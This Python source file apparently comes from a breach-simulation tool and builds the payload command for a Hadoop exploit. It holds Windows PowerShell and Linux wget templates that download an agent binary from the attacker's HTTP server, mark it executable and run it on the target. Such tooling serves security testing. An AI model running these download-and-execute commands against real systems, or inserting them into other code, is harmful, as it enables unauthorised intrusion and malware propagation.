from typing import Sequence

from common import OperatingSystem
from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE
from common.types import AgentID
from infection_monkey.i_puppet import TargetHost
from infection_monkey.model import MONKEY_ARG
from infection_monkey.utils.commands import build_monkey_commandline

HADOOP_WINDOWS_COMMAND_TEMPLATE = (
    "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { "
    "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; "
    " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) "
    "{ $env:%(agent_otp_environment_variable)s='%(agent_otp)s' ; "
    '& %(monkey_path)s %(monkey_type)s %(parameters)s }  "'
)
# The hadoop server may request another monkey executable after the attacker's HTTP server has shut
# down. This will result in wget creating a zero-length file, which needs to be removed. Using the
# `--no-clobber` option prevents two simultaneously running wget commands from interfering with
# eachother (one will fail and the other will succeed).
#
# If wget creates a zero-length file (because it was unable to contact the attacker's HTTP server),
# it needs to remove the file. It sleeps to minimize the risk that the file was created by another
# concurrently running wget and then removes the file if it is still zero-length after the sleep.
#
# This doesn't eleminate all race conditions, but should be good enough (in the short term) for all
# practical purposes. In the future, using randomized names for the monkey binary (which is a good
# practice anyway) would eleminate most of these issues.
#
# **UPDATE**
# The remaining race conditions and speculative execution issues have been resolved by commit
# 98f078b7b. I'm leaving the above comment in place for historical purposes. We can consider greatly
# simplifying these commands, as some of the conditions they're attempting to prevent have been
# resolved in 98f078b7b.
HADOOP_LINUX_COMMAND_TEMPLATE = (
    "wget --no-clobber -O %(monkey_path)s %(http_path)s "
    "|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) "
    "; chmod +x %(monkey_path)s ;"
    " %(agent_otp_environment_variable)s=%(agent_otp)s "
    "%(monkey_path)s %(monkey_type)s %(parameters)s"
)


def build_hadoop_command(
    agent_id: AgentID,
    target_host: TargetHost,
    servers: Sequence[str],
    current_depth: int,
    agent_destination_path: str,
    agent_download_url: str,
    otp: str,
) -> str:
    monkey_cmd = build_monkey_commandline(agent_id, servers, current_depth + 1)

    if target_host.operating_system in [
        OperatingSystem.WINDOWS,
        None,  # if unknown OS, default to Windows (based on
        # https://www.shodan.io/search/facet?query=hadoop&facet=os)
    ]:
        base_command = HADOOP_WINDOWS_COMMAND_TEMPLATE
    else:
        base_command = HADOOP_LINUX_COMMAND_TEMPLATE

    return base_command % {
        "monkey_path": agent_destination_path,
        "http_path": agent_download_url,
        "monkey_type": MONKEY_ARG,
        "parameters": monkey_cmd,
        "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE,
        "agent_otp": otp,
    }
